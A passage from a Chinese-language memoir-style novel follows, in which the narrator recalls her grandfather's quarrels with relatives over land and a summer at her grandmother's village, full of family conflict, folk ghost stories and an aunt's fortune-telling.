他跟我爷爷说:“大叔,你看!你盖屋那会儿,我也想过来给俺大叔帮忙来,可是我实在是太忙了,没有一点儿空儿啊!我一心想着,等我忙完了,我赶紧来帮着俺大叔盖屋!谁知道,等我忙完,你早就把屋盖好了!到底是俺大叔!不愧是宋老师儿!细石匠!干活儿利索!” 我爷爷听了吕二的话,乐地哈哈大笑。吕二就这样把我爷爷的地给接手了。 收麦子了,吕二推着两袋子粮食给我爷爷送来。 我爷爷见了他的面儿,乐地哈哈大笑:“俺儿来孝顺恁爹啦!” 吕二边撅着腚把胶车子往我爷爷屋里推,边甩他一句:“嘿!老家伙!” 一个妻离子散的老头子,谁会儿看得起呢。我清楚吕二是个狡猾暴戾的人,他对爷爷必然不如二叔忠厚。可是爷爷一意孤行,谁也没有办法。 秋生二叔想不开,就想来跟爷爷说道说道。他其实还是想说通我爷爷,让他把地租给他家。二叔搬把椅子,坐在我爷爷堂屋东边门框下,用他一贯温和的声音,细声细气地跟他大爷说话。 “大爷啊,你看,你盖屋的时候,我帮你出恁大的力,恁怎么能这样对我的?”二叔温温和和地说。 “哼!我盖屋的时候,恁爹恁娘离地那么近,天天搁这儿过来过去,没来搭一下手儿!”我爷爷恨恨地说。 “俺爹俺娘没来帮忙,我来给你帮忙还不够吗?我搁这儿给你帮忙,俺爹俺娘过来过去的,也没说什么。这说明我来给你帮忙,他们是同意的。”二叔说。 “你不来给我帮忙,我自己也能干完!我顶多是晚几天上梁!”我爷爷说。 “大爷,你盖屋的时候。南北荆堂,除了我,谁来给你伸一下手儿了?再怎么说,咱也是一家子。你把地租给我,我能亏了你啊?”秋生二叔说。 我看看二叔,我心里想,二叔说的对呀。是应该租给我二叔啊。可是我爷爷就是不发话,我当不了我爷爷的家。 “哼!我对老二一家是够够的!他一肚子坏水!恁爷爷在的时候,年纪大了,来不及了,搁当天井里拉了一泡屎,老二就去凶恁爷爷,还让他自己拉的自己吃喽!最后是我去给恁爷爷锄的!恁大娘走就是他坏的!我把地租给谁我都不租给他!”我爷爷恨恨地说。 我的爷爷,对他家,心里有解不开的疙瘩,任凭二叔如何开解,他就是死活不松口。爷爷只记得二爷爷一家的不好,根本不买二叔的账。仿佛,他通过此事狠狠地打击报复了二爷爷一家。从此以后,二叔也不来帮忙了。 我认为这是我爷爷干的一件很愚蠢的事情。他那时候已经孤立无援了。他应该跟二叔结成同盟的。他那时候大概没有料到,他的三个小孙儿后来都离开了荆堂,离开了他。他最后只剩下孤家寡人了。 吕二除了见面时逗地爷爷哈哈大笑,是不会给他任何帮助的。我把这事儿跟我妈妈说了。 我妈妈说:“恁爷爷不该把地租给吕二的,恁秋生二叔帮他恁么多忙。恁二爷爷一家虽然没去帮忙,但是人家也没拦着恁二叔。人家过来过去,看着恁二叔去给恁爷爷帮忙,人家都不管,人家就是让恁二叔去给恁爷爷帮忙的。恁爷爷应该把地租给恁二爷爷的,他把地租给恁二爷爷,他以后碰上什么事儿,说什么,恁二叔也会帮他。他这回好,把恁二叔也得罪了。小老头不明白,蒸不熟煮不烂。给个尿泡不知道轻,给个磨台子不知道重。” 我爷爷跟我二姑虽然在过年的时候达成了和解,但是终究是父、女不能两立。没过多久,被战海叔强行搭建起来的父女的桥梁再次崩塌。 年后,不冷不热的天气,二姑夫不知因为何故,又跑到我爷爷家门前,来骂我爷爷了。二姑夫坐在吉祥大哥屋后头的石头堆上,怡然自得地对着我爷爷的大门骂着。我从外面回家,看地清楚、听地真切。知道二姑夫在骂我爷爷。 “宋金平,你真不是个人东西!”我二姑夫骂着。 我爷爷在家里,因为聋了,知道有人在骂,就不出去。二姑夫一直在骂。爷爷一直聋下去。 “你敢出来吭一吭声儿,我就揍断你的狗腿!”二姑夫骂着。 “骂谁的?咱不出去!”我爷爷耷拉着眼皮跟我说。 我爷爷是个聋子。大家都知道,爷爷好像是装聋。大家也知道。据说,有一回,二姑在门外喊门,喊多少回“开门”都无人回应。最后二姑急了,喊了一声“爹!开门!”大门立马应声而开。这次,二姑夫前来骂阵,爷爷又聋地厉害了。我知道爷爷应该知道,门外是二姑夫,二姑夫是在骂他来。只是形势不允许他不聋,爷爷此时出去,必定被二姑夫苦打一顿。 爷爷四面楚歌,连救驾的人都没有。好汉不吃眼前亏。爷爷只好继续聋着。 我看不下去了,又没本事让二姑夫离去。我那时也就十多岁。 过了半天,我才出去,跟二姑夫说,“行了!二姑夫,别骂了!” 二姑夫压根儿就不理我。好在,二姑夫还没有打我、骂我。他还是悠哉悠哉继续骂着我爷爷。 “哎!我就喝着小酒儿,天天骂你!”二姑夫说。 我爸爸如果还在,我二叔如果还在,二姑夫还敢这样吗?虎落平阳被犬欺。惶惶如丧家之犬。爷爷就像一头大势已去的老狗,拖着如柴的瘦骨,秃噜了皮,秃噜了毛,踽踽独行,无人问津了。谁想去欺负他都是可以的。 有句话叫“你不就看我好欺负吗?”“你除了欺负我还欺负谁呢?” 这样的话很天真,很好笑。说这话不是废话吗?谁让你好欺负呢?既然你好欺负,人家不欺负你欺负谁呢。人家欺负你,就是你没本事啊,没本事不是活该被欺负吗?甭管你是鳏寡孤独,还是老弱病残。人家欺负你,你就活该被欺负了。你就得受着。外人不但不同情,还觉得就你那熊样儿,活该你被欺负,你就得被欺负。优胜劣汰,物竞天择。强者生存。这是自然法则。 我突然明白了,很多人家想生儿子,想要多生几个儿子的原因了。到底是儿子架势啊。有几个儿子在门前站着,谁还敢这样欺负呢。只是我爷爷的两个儿子,他们死地太早了。只是,我爷爷,他的儿子闺女,对他视若寇仇的,太多了。他的两个闺女和他的小儿子都不喜欢他。骂他的可是他的亲闺女婿啊。这话儿是这么说的? 11. 大姨、二姨、四姨、五姨、六姨 1.姥姥家 我大姨又来我家了。大姨推了两化肥袋子桃子来给我们吃。都是青青的流着桃胶的毛桃,我们没怎么吃。倒是她,对着我家的堂屋门儿,一边跟我妈妈说着话,一边骑在筐子上,拿个镰刀头子削桃子吃。 “我那时候跟你说的,家军寿限短。不让你跟她,你不听哎!”我大姨边吃,边抱怨我妈妈说。 “大姐,事儿都已经这样了,你还说这些干什么?”我妈妈说。 “我让家军给我打一对门枕,他打好了给我使胶车子推去的。到现在还没装上呢。”我大姨说。 “家军是个老实人。他说的给你打的,就会给你打。”我妈妈说。 “你说家军老实。你那时候跟他吵架,他打了你,你走了。咱娘梦见你了,她梦见你鼻子嘴里往外窜血。咱娘就知道家军打你了。第二天一大早,家军就去咱家找你了。咱娘上来就骂,‘养汉头将的!打俺闺女!把俺闺女打地去哪儿了?俺闺女要是寻了无常,我告你个婊了个将的!’家军一声不吭。”我大姨说。 “女人,除非你一声不吭,装奴才,由着人家骂,才能不挨打。你只要一还口儿,男人手爪子没断,就能打人。”我妈妈也恨恨地说。 “你后来跟着他到东北逃荒,到南乡躲计划,搁人家场院屋里给他生儿养女,他还打你吧?”我大姨说。 “他那时候不打我了。现在死个养汉头将的了,更打不成了。”我妈妈说。 “咱娘说的,暑假,小宝放了假,让咱五妹妹来接她去坊口过几天。”我大姨说。 暑假里,我五姨来接我了。我实在没有什么新衣裳了。我妹妹的一顶蓝色的帽子,不知道是谁给的,我妹妹戴着太大,我妈妈就让我戴上。权当是装扮一下。 “你把恁小妹那顶帽子戴上!”我妈妈说。 我站在我家堂屋门口儿,戴上那顶帽子,兴高采烈地要跟着我五姨走了。 我妈妈站在我家屋门口儿看着我:“跟花木兰样!去吧!等着你胸佩红花把家还!” 姥姥家酿醋。一进姥姥的屋,就闻到一股刺鼻的酸酸的醋味。屋里是两个粮食囤,囤上是堆地高高的黄黄的粮食,记不清是水稻还是小麦,一滴滴的醋汁从粮食囤底下滴下来。 我姥姥家堂屋靠北山墙上有一个相框。我一眼就看到了我妈妈的照片。那是夏天拍的。我妈妈穿着一件水红色的褂子,在胸前捧着一束花,脸上红彤彤的。她的眼睛注视着前方,嘴是微微张开的。我知道,那是她常有的表情。那时候,经常有照相的到庄上来给人家拍照,我妈妈的那张照片,应该是我姥娘姥爷喊了照相的给她们拍的。那时候,我妈妈还是个黄花大闺女,还没有我呢。现在,我妈妈是一个有三个孩子的娘们儿头子了,可是,这一点都不影响她在我心里的纯洁和美丽。 一个母亲,不管她到了什么田地,不管她有什么样的遭遇,她在她的孩子的眼里,总是纯洁的,神圣的。母子一体,尊重母亲就是尊重自己。同样的,孩子是母亲身上掉下来的肉,一个母亲无条件地疼爱孩子其实也就是在疼爱自己。 小舅不在家,他上大学去了。每逢星期天,都是五姨六姨烙了煎饼,骑上自行车,去几十里外的磨山给他送饭。 正是收麦子的时候,五姨要去地里干活,就让我去离姥姥家不远的麦场里,看着场院屋前头的几棵桃树。场院屋坐南朝北,两棵桃树就在场院屋门前。我朝东看着那桃树,也可以看见我姥姥的家门口儿。那桃子还没有成熟,满枝头的桃子都还是青青的。我就在麦场里看着它。偶尔爬到树上,看看五姨有没有过来。 姥姥家桃树的西边,是一条被青草稞子遮遮掩掩的南北小路。据说,以前,种地的人晚上收工了扛着锄头回家,路过这里的时候,天已经上黑影儿了。两个小孩儿从沟里跳出来,拿着泥巴朝他身上糊,把他缠住,往沟里拖。弄得那种地的泥木陷狗的。 那缠人的两个小鬼儿嘴里头喊着:“天不怕,地不怕,就怕西水沟的王二大!” 种地的一寻思,难道是谁家的死孩子闹鬼的吗?没听说啊。王二大是谁?就是那个天天穿地破衣烂衫的王二吗?大家找到了王二家里。问他怎么回事,怎么有两个小鬼缠人,还说“天不怕,地不怕,就怕西水沟的王二大”的。 王二说:“我也不知道是怎么回事儿哦。就是有一回,我鼻子淌血了,来河沟子里洗鼻子。洗完了,闲来没事儿,就拿那黄泥,捏了两个小泥人儿。捏完就放到桥洞里了。难道最近闹鬼的是那两个小泥人儿?” 大家来到桥洞里一看,果然有两个小泥人儿,跟夜里缠着人不放的小鬼一模一样。大家把那小泥人儿砸碎了,把王二臭骂一顿。这以后的夜里,再没有小鬼作祟。 是的,到了我姥娘家,总有许多神神鬼鬼的故事。你要是听了我姥娘拉的那些呱儿,会觉得你站立的那片田地,那些村子里,有很多妖精和鬼呢。那使我觉得神秘,又使我觉得有几分亲切,又有几分害怕。是的,鬼魅多了,也使人觉得有几分亲切呢。要是这世上真的有鬼,要是人真的能看见鬼。你会不会觉得他们在你身边飘来飘去,还挺可爱呢。 吃晌午饭的时候,五姨喊我回家吃饭,给我卷了长毛的煎饼,里面夹了半根油条。我吃过了煎饼,就再回到麦场上看桃子。 除了半根油条,我姥娘家的伙食并不好。 我姥娘家的麦场周围种着月季,黄花菜开出了橙色的花。对面人家的麦场外头。是一丛丛长长的月季枝条围成的篱笆,月季开着红的黄的花。篱笆下面有红彤彤的野草莓。 我姥娘偶尔也搬个板凳,过来点豆子。我姥娘裹着小脚,走不动路,她几乎是扶着凳子往前挪动。她移一步,弯下腰,拿小铲子挖一个窝,点下一粒豆子。 我说:“姥娘,我帮你点豆子吧。” 我姥娘赶紧说:“不要!恁小孩儿会什么,一边玩儿吧!” 我说:“我在家天天跟着俺爷爷干活儿,我会点豆子。” “不要!我自己挪着点就行。”我姥娘说。她说话的时候声音很大,跟吵架似的。我听了她的话,就站着地头儿上,看着我姥娘点豆子。她边点豆子,边跟我说话。 “家军活着的时候,对她也不好。也是打。有一回,我一闭眼儿,看见她三姐从北边儿来了,鼻子嘴里往外窜血。我就知道,家军打她了。过了没有两天,家军就来找她了。我看到他就骂,‘养汉头将的!俺闺女跟着你,你就打她了!我根本就不想让她跟你的!你还有脸来娘门找她!她不在俺这儿,俺不知道她到哪去了!俺闺女要是寻了无常,我就去告你!’” 我那时候还刚见过我姥娘几次,也许是我姥娘老了,也许是她家的外孙太多了,我不觉得我姥娘有多疼我。那时候,我觉得最疼我,跟我最投缘的就是我五姨了。如今,时过境迁,她也早已成了老太婆了。这些年,她跟我妈妈一样,各忙各的,各苦各的,谁也顾不上谁了。 所以,我对亲情这块很单薄。同时,我对亲情这块儿又很渴望。所以,我就只生一个孩子好了。这样,我的孩子就会有一个很疼爱她的妈妈,她的孩子也会有一个很疼爱她的姥娘了。这是我对自己童年严重缺爱的补偿,是的,的确是这样。 天气很热。麦子急等着收割。大姨带着她的两个小孩儿过来了。姐姐叫小燕,弟弟叫红喜,两个孩子都是抱养来的,都是七八岁的样子。她们拿着镰刀开始割麦子。小孩儿干不好,大姨就开始叫骂。我看着揪心,自己白站着,不好意思,就去帮大姨割麦子。大姨也就任我干了起来。我早就听我妈妈说过,大姨家没有男劳力,缺乏干活的人,逮住了谁就是谁,我二姨夫经常被她抓壮丁。这回,她逮住了我,可是不会轻易放过的。 我本来就会割麦子,干起来倒是不怎么费劲儿。只是两个孩子不懂事,我去帮忙割麦子的时候,她们就站在一边儿玩,她们不仅站在一边玩,还没完没了、没头没脑地跟我说话。 “大姐,俺三姨怎么没来的?”小燕问我。 “俺妈妈在家带小弟、小妹。”我说。 “大姐,俺奶奶桃树上的桃好吃吧?”小燕又问我。 “好吃。”我说。 “俺家树上也有桃,我摘给你吃。”小燕说。 是的,大姨地里也有一棵桃树,比我姥娘家里的桃树还要高大,那树上的桃子结地还要多。可是大姨没有提出来让我吃,我是不敢吃的。姥娘是姥娘的,大姨是大姨的。何况,那些青青的毛桃子也没什么好吃的。 “我不吃,你不要摘。”我说,“俺姥娘那边的桃树上有,我刚才摘了吃了。” “俺家的桃大,我去摘给你吃。”小燕说。 “你不要摘了,回恁妈妈看见了,她别揍你。”我说。 “小燕儿,你要摘桃了!我跟俺妈妈说!让她揍你!”红喜说。 小燕不听,还是自顾自地爬上桃树去摘桃子。 “妈妈!小燕儿摘桃了!”红喜喊着。 “小燕儿,你快下来!”我提心吊胆地说,“我真不吃恁家的桃。” “小燕儿!你又爬树摘桃了!”我大姨提着镰刀叱咤着来了,“那桃又没熟,你摘它干什么!” “我摘给俺大姐吃!”小燕儿说。 “我不吃,大姨。俺姥娘那棵树上有。不熟。不好吃。”我说。 “恁大姐像你?恁大姐十人见了九人夸。她像你?恁么贪吃!”我大姨说。 我割了好一会儿,干地差不多了。我大姨才跟我说:“行了!恁大姐。你歇歇吧。你到场院屋里凉快凉快去。” 我来到姥娘家的场院屋里。小屋里有一张小床。我靠着那张小床站着。 不一会儿,大姨着急忙慌地跑过来了。她一到小屋里,就急急忙忙往下褪裤子。 “不知道是大蚂蚁还是什么,咬我的腿了!”大姨边脱裤子边说,“原来是只蚂蚁啊!我掐死你!我掐死你!” 大姨消灭完蚂蚁又回家去了。不久,小燕跟红喜姐弟俩儿拖来一个大铡刀,要来地里铡麦子了。我又跟她们一起铡起麦子来。 等小燕她们回家以后,又剩下我一个人了。在无边的旷野里,我总是会想入非非的。我像是一个寂寞深闺的女子在想象着一个骑着白马的王子。我想象着那些无声的黄土垄中,埋葬着多少美丽的女子和男子。他们的魂灵,在这样燥热的天气里,是不是正在幽深的柳荫下幽会呢?他们比我要悠闲自在多了。想象是平等的是自由的。一个贫民家的女子可以通过想象来得到本不属于她的事。一个肉体凡胎的人可以通过想象,来看到他本来看不到的事。 傍晚,太阳快落山了,西天的鸟儿吵嚷着满天的凄凉。该烧晚饭了。五姨来麦场里喊我回家。 四姨就在姥娘的屋里间,不出来。她偶尔上茅房的时候才出来一趟。她穿着结婚的时候,婆家给她买的红色的棉衣、棉裤,戴着一顶蓝色的厚帽子。她穿得好像比谁都要新,比谁都要干净。她的嘴巴和鼻子是歪的,她的皮肤因为常年不怎么见阳光,捂地白白的。她上完了茅房,回到她的屋里间去。蹲在地上哗啦哗啦地洗手。她的床前放着一个白底红花的搪瓷脸盆子。一个专属于她自己用的脸盆子。那时候,我还不知道上完茅房要洗手。有时候,她看着我,笑笑地说两句话,可是她的口舌不清楚,呜呜喽喽地,我也听不清楚她说的是什么。她的半边脸皮是薄的,说起话来的时候脸皮一鼓一鼓的,像是喇叭匠子在吹喇叭。 我问五姨:“俺四姨天天穿那一身衣裳,身上不臭嘛?” “怎么不臭的。”五姨说,“瘟臭!把人熏死了!” “恁不给俺四姨脱下来洗洗嘛?”我说。 “她有意穿着不脱,扼人的。恁二姨好心好意地,想让她脱下来,给她洗洗,她还骂人家来。宁死不脱。上回我跟恁六姨,跟恁大姨,俺三个人一块儿把她抱住,绑到树上。才硬是把她那身衣裳扒下来洗了洗。不洗不行,家里来人的话太臭了,熏人。”五姨说。 “人家给她洗衣裳不是好事儿吗?俺四姨怎么还骂人的?”我问。 “她恨娘家人。恨娘家人不给她说老婆婆。”五姨说。 “那让俺姥娘找人给四姨说个婆家是的。”我说。 “说了!人家婆家拿着不当人,光揍她。上回说到西水沟恁二姨那个庄上。叫‘小二沟’。她来月经了,身上生赖,睡着不想起。她老婆婆就去叫她起来干活儿。她还是睡着不起。她老婆婆就去扇她。她老婆婆扇她,她也扇她老婆婆。她老婆婆就喊她儿子,‘小二沟,你快来!她打我!’小二沟来了,帮着他娘,娘儿俩儿一块儿把她揍了个半死。都给打团悠了。人家不想要了,让人捎了信儿,恁大姨推着胶车子去推回来的。恁大姨去推她回来,‘小二沟’拍着手喊着,‘我不要了!我不要了!恁快拉走!恁快拉走!’恁大姨让她回来,她还不回来来!恁大姨跟捆猪似的,把她给绑到胶车子上,才给推回来的。”五姨说。 “这以后就没再给四姨找婆家吗?”我问。 “找了!人家都打!没有对她好的!”五姨说。 “四姨心里肯定想找个婆家。”我说。 “她当然想喽。娘来,你还记得吧?上回,四妹妹还让俺大姐去问问‘小二沟’,问问人家还要她吧?”五姨跟我姥娘说。 “恁二姐托人打听了,人家‘小二沟’又找到好的了。人家不要了。”我姥娘说。 “人家‘小二沟’要是要的话,就四妹妹这样的,还能去呢,你说说?但凡是个要脸的,被打成那样儿,还能跟他吗?!”五姨说。 “就没有适合四姨的好人家了吗?别把她给耽误了。好歹找个人家,生个孩子,以后能给她养老。”我说。 “谁要啊!这样的!给你你要啊!”五姨说。 “我也不要她出嫁了。我就这样养着她。”我姥娘说。 “等你百年以后呢?俺姊妹几个都出门子了。谁养她啊?你让俺小兄弟养她啊?就是俺小兄弟愿意,俺兄弟媳妇愿意吧?就这样的,谁想养啊?”我五姨说。 “等我快死的时候,我先弄瓶药把她药死,我自己再死。”我姥娘说,“我谁都不给恁添麻烦。” “不讨人喜,骂人!”五姨说。 “谁都骂。人家都是不跟她一般见识的。”我姥娘说。 “你可别说了,娘来!都是你惯的。一骂就揍,一骂就揍,你看她还骂吧?鬼怕恶人!上回她骂俺大姐,俺大姐气的,把她捆到树上狠狠地扇了她一顿,她再也不骂她了!”五姨说。 “就这样的,你还能真跟她一般见识吗?”我姥娘说。 “这样的,你现在不管管,等以后,俺兄弟娶了媳妇,她也骂人家,人家受得了吗?”五姨说。 “那有什么办法?她再怎么样儿也是大姑姐。兄弟媳妇还能骂大姑姐嘛?” 我姥娘说。 “怎么不能的!要我说就能!大姑姐能骂兄弟媳妇,兄弟媳妇就能骂她!她把人惹急了,人家还能揍她呢!你看看,当婆婆的都这样。说来说去,你还是心疼自己亲生的吧!”我五姨说。 晚上,大姨回来了。她的家就在我姥娘家后头。中间一条夹道子,没有堵上。她带着两个孩子一会儿到前院儿,一会儿到后院儿。舀子碰着水缸,叮叮当当。我知道大姨是在烧饭了。 不一会儿,又传来大姨的叫骂声。 “小燕儿,你给我写作业去!我让你写作业写作业,你今天一天又是没看一点儿!小红喜也是的,天天不摸一下书本子啊!恁什么时候能通人性,给恁妈妈省省心啊!”两个孩子被骂习惯了,也不太当回事。 大姨骂完了孩子,又自己哭了起来。 “小燕燕呀,是一点儿不听话呀!恁姊妹两个跟着我,没有人疼,没有人问呀。我让恁奶奶看着恁,恁奶奶也看不好,恁也不知道听话呀!” 姥姥和小姨都习惯了她的一声高、一声低,一阵骂、一阵哭的叫喊,左邻右舍也都习惯了。大家都不吭声儿,由着她骂,由着她哭。 夜里,我听见四姨又在骂人了。她谁都骂。她想起来骂谁就骂谁。 她骂我姥爷,提着我姥爷的名字骂:“卖醋油的小老头儿!恁娘的醋油果儿!恁娘的香油果儿!” 四姨有时候也骂我姥娘。四姨骂我姥娘的时候,我姥娘也坐在西屋里她自己的床上,跟东屋里的四姨对骂。我姥娘坐在西屋里面朝东骂我四姨,我四姨坐在东屋里面朝西骂我姥娘。 “你想跟人家,人家还不想要来!你不嫌丢人现眼!”我姥娘骂道。 我姥娘跟她骂够了,就念念咒儿,对她施法。等我四姨被我姥娘的咒儿给定住了嘴,我四姨的嘴才停下。 “让我念咒儿把嘴给封上了!她没办法骂了!我让她得个噎死瘊!”我姥娘说。 我那时候还不知道,真以为是我姥娘念了什么咒儿,真以为俺姥娘的咒语应验了。我现在才知道,根本不是我姥娘的咒语应验了,根本就是我四姨骂地累了,自己昏昏地睡去了。因为,那时候,已经是半夜了。 我跟五姨、六姨住在一起。夜里蚊子多,她们两个就起来捉蚊子。我在旁边,冷不丁地放了一个屁,把五姨、六姨逗地哈哈大笑。 “小宝儿放屁了!小宝放屁了!小宝儿是个放屁精!” 我夜里着了凉,咳嗽了,五姨就起来,倒了香油给我喝。五姨对我很舍得,她倒了一碗底子的香油,我把那一碗底子的香油喝下去,觉得那么多的香油不但不香,反而是浓浓的,苦苦的。 第二天,我因为夜里着了凉,肚子开始胀气了。我姥娘就把我叫过去,让我站在她跟前,她用菜刀在我肚子前方比划着,念叨着:“叉气!叉气!” 夜里,等我睡下了,她再踮着小脚去天井里烧香、作揖,笑着跟“仙家”客客气气地说好话:“小外孙,不懂事。小苦孩儿,老师多多看顾。” 果然,第二天,我的肚子真的就不胀了。 姥姥经常讲一些鬼鬼神神的事跟我听,我又想听,又害怕。她说,她以前在西山头挑着两筐子山芋回家,天晚了,她走地吃力,只见对面走过来一个大闺女,笑嘻嘻地,她以为是我五姨,心里想,这闺女还蛮孝顺的,知道她娘累得慌,来迎她娘来了。姥姥这样想着,就冲着那闺女喊:“恁五姐啊!”那大闺女也不搭腔,就从她身边走过去了。等她回过神儿来一转头,却看到身后没有大闺女了。 她身后走来了本庄的大嫂子。 姥姥问大嫂子:“嫂子啊,恁刚才看到一个大闺女走过去了吗?” 那大嫂子说:“没有啊,我没看到大闺女啊。” “我刚才怎么看到一个大闺女走过去了的?” 大嫂子说:“确实没有啊。你可能看花眼了。这西山头倒是埋了一个大闺女。” 姥姥这才知道她撞了邪了。 我五姨说:“娘!我上回骑着洋车子去给俺兄弟送饭,骑到磨山,天阴下来了。我可害怕了。突然,就像俺哪个哥在我身边似的,他护着我,我就自动地不害怕了。” 我姥娘说:“是的。是恁大哥显灵了。” 我五姨说:“娘,俺大哥经常显灵。” 姥娘说:“是的。恁大哥可怜,才生下来刚满月,恁二大爷就找块木头杠子,搁我屋门口儿劈柴。我跟他说,‘大哥,俺孩儿小,恁别搁俺屋门口儿劈柴禾,别聒着他。’恁大爷说,‘没事儿!聒不到!我劈个木柴哪就聒死他了!要是劈个木柴都能聒死,那也是他活该死!死了再生!’恁大爷说完,还在我门口劈柴,劈地比先前还要响。恁大哥是活活地被震死的。人家送朱米的还没走,他就快不行了。让仙家老师给拢着魂儿的。” “俺大爷自己没生过小孩儿吗?他怎么恁么不通人性的?”我五姨说。 “他以前有媳妇儿,生了个女孩儿。恁大爷听他娘的,对恁大娘又打又骂。恁大娘跟他打开离婚,带着孩子改嫁了。”我姥娘说。 “噢!俺爹也听他娘的。俺小的时候,他也不疼俺姊妹几个。”我五姨说。 “恁爹是工人,在外头挣钱。听起来怪好,一个月能领几个钱。他又顾他娘,又顾他哥,又顾他姐。就是不知道顾家。每回他回来一趟,就掏掏这个挎包跟我说,‘哟,这个挎包没有钱哦。’再掏掏那个挎包,‘哟,这个挎包也没有钱哦。你说说,钱都弄哪去了?’恁三姐小的时候,刚学会挪步,挪着到他跟前去。他觉得小孩儿长得好,一时高兴了,才从挎包里掏出来两毛钱给恁三姐。‘来,给你两毛钱!’这算是恁爹给了回钱!俺跟恁爹没过上一天好日子!” 有时候,天都上了黑影儿了,大姨赶集回来了。她站在姥娘家的屋门口儿,也给我讲讲她的经历。有一回,她给人家看病回来,天黑了,她骑着洋车子回家。走到一座山前头,只见一个神女坐在山头上,往下扔东西,很多华贵的东西,那神女一把把地往下扔,都落到大姨跟前,有的落到她的洋车子上,顺着她洋车子的轱辘往下掉。大姨不理,也不下来捡。那神女见大姨对那些华贵的东西置之不理,就停了下来,不再往下扔东西,冲着大姨说:“好一位贵人啊!” 神女说完,最后一次掷下来一个东西。那是那神女诚心诚意要送给大姨的。大姨弯腰捡起,是一个古老的小物件儿。 “呐,就是那天我带回家的那个小东西,我拿去集上卖了五十块钱。”大姨说地有鼻子有眼儿,我对大姨是心向往之。我喜欢大姨这样的女人,她太神秘了,太有呱儿了,她太会拉呱儿了。除了害怕被她打骂,我巴不得天天在她身边,又能听她拉呱儿,又能受她的庇护,多好。 来找大姨看病的人很多。常常是晚上,远路来找大姨算命的人来了,有的骑着摩托车,有的骑着自行车。大姨忙完地里的麦子,又点灯熬油地给人家算命、占课。 小燕儿她们也站在一边看着。 “叫负浮!(叔叔)”我大姨跟她们说。 “负浮!(叔叔)!”小燕儿说。 来者是一个年轻的男人,他的女人怀了他的孩子,他倒有些拿不定主意了,不知道是要她呢还是不要她呢,他就来找大姨给他算算了。大姨拿起她的算盘和纸笔就开始给他算命。 大姨噼里啪啦地打着算盘,我隐约听到她的声音: “生人的时辰十分贵,生人的时辰十分贱。”大姨边飞快地拨着算盘边念。我姥娘也在旁边听着。 “掐三!掐四!”大姨用普通话说着,用手里的粉笔在小黑板上“咔咔咔”地写着。 “你不看僧面看佛面,不讲大人讲孩子。”大姨说。 “老师给讲情了!”我姥娘抬起额头笑眯眯地说。我知道,大姨还有大姨的老师,希望那个男的看在孩子的份儿上,不要抛弃了那个女人和她腹中的孩子。 大姨是远近闻名的算命的“老师”,这“老师”两个字里,有些仙家的意思。因为大姨背后有仙家“老师”。大姨在家里拖拉着两个孩子,经常大发脾气,哭天抹地。可是等她见了来找她算命的人,她立马就恢复工作状态,斯斯文文,手里拿着她的算盘,垂手站立,像是一个真正的老师。大姨身材高大,双眼叠皮,面皮白净,扎着两个辫子,不知道她脾气的人,还真觉得她很像一个老师。她有时候还会说普通话,也不知道她那一口普通话是从哪里学来的。 大姨的脾气很暴躁,可是我有时候又特别能够理解她的暴脾气,包括她对两个孩子的叫骂,和她自己在天井里旁若无人地响亮地哭泣。 她一辈子不能结婚,自己一手抚养着两个孩子,无人扶持啊。这两个可怜的孩子都是穷人家里养不起的孩子,只有靠她这个还是老姑娘的母亲来养活啊。他们本应该比别人家的孩子更懂事,更知道为母亲省心,可是这两个孩子不知道是因为少人看顾,还是各自血液里带来的基因作祟,实在是调皮捣蛋,好不晓事。大姨赶集奔波劳累了一天,回来看到两个孩子的所作所为,实在是伤心。 说到这里,我突然明白了大姨被她路上遇到的“仙家”叫做“贵人”的原因。一个女人,她不用稀里糊涂晕头转向地跟一个男人翻云覆雨恩恩怨怨,搞一些情呀爱呀这等没用的破玩意儿,再经历生生死死痴痴傻傻地为他生个孩子。她不用跟这个男人搞那些鸡毛蒜皮情仇爱恨是是非非。她不用进入一个本来就跟自己毫无关系的家庭,不用承受那些家庭的鸡零狗碎和婆媳之间的鸡争狗斗。她这辈子不依靠男人,不伺候男人。她还能自己养活孩子,独立生存。这样一个女人,你说,她是不是一个“贵人”?她太是一个“贵人”了,她的确是一个“贵人”啊。她是我至今都无法企及的贵人啊。她是我至今都奉为理想的“贵人”! 一天晚上,大姨又弯着腰,皇天爷娘地叫喊:“俺的个娘哎!俺的个娘哎!”她边喊边提着药罐子,来我姥娘家煮药,姥娘家的南墙根儿下头,是她用几块砖头临时搭的灶台。 我问她:“大姨,你怎么回事儿啊?” 大姨说:“我胃疼!我是被俺老师缠的,外甥女。我没听俺老师的话儿。她就来缠我了。我去抓了一副药!哎哟,俺的娘来!”大姨蹲着熬药,哀嚎声接连不断。我听了很是揪心。我姥娘就在屋里,她是见怪不怪了,她不问,也不吭声儿,就坐在她的屋里。 姥娘家后头的西水沟,有了“神水”,很多人成群结队地从外地来这里舀“神水”喝。男女老少,拿着白色的大塑料桶,都来了。小的推着老的,身体好的,推着病的。他们在西水沟的河沟边,装满了一桶桶的“神水”,拿回家烧饭,给全家人吃。 西水沟河沟子里头的水就怎么成了神水了呢?据说,一个老大娘生病了,她儿推着她去看病,走到这儿,渴了,非要下去喝水。老大娘原本病病恹恹,一口水下去,变得活蹦乱跳了。那家人后来给这儿的“神树”挂了“红子”,这事儿传扬开来,其他人听说了,也来这里喝“神水”,也给“神树”挂“红子”。如此以来,来喝“神水”的人越来越多,树上的“红子”也挂地越来越多。要买白色塑料桶的人也越来越多。 是的,要喝“神水”,要想装“神水”回家,就得买塑料桶! 五姨和大姨都去装了“神水”家来,拿它擀面条子。大姨在后院,她擀了宽宽的白白的细面面条子。五姨在前院,也在擀面条子,她使的是黄黄的粗面。五姨煮了面条子,我跟五姨一起端着碗吃。粗面擀的面条子,黄黄的,粗粗的,短短的,像是面钉子。 大姨吃完饭赶集去了,小燕端着碗到前院跟我们一起吃饭。五姨趁她不注意,跑去后院大姨锅里,盛了一勺细面的面条子,盖在自己碗里的粗面面条子下头,照旧回到前院儿,站在姥娘家的屋檐底下。 小燕看见了,端着碗问五姨:“五姑,你碗里怎么有白面条子的?你偷了俺家的!回我给俺妈妈说!” 五姨给她看看自己的碗说:“你看看,我没吃恁家的面条子,我吃的是俺家的面条子。俺家的是粗面,恁家的是细面。” 小燕听了我五姨的话,半信半疑地,捧着她自己的碗,往嘴里扒拉了几口面条子。小燕穿着的衣裳不知道是谁家给的,宽宽大大,像个袍子,把她包围地像是一个俄罗斯小姑娘了。小燕不丑,双眼皮大眼睛,稍稍有点塌鼻梁。白白的脸上有好几颗黑痣。 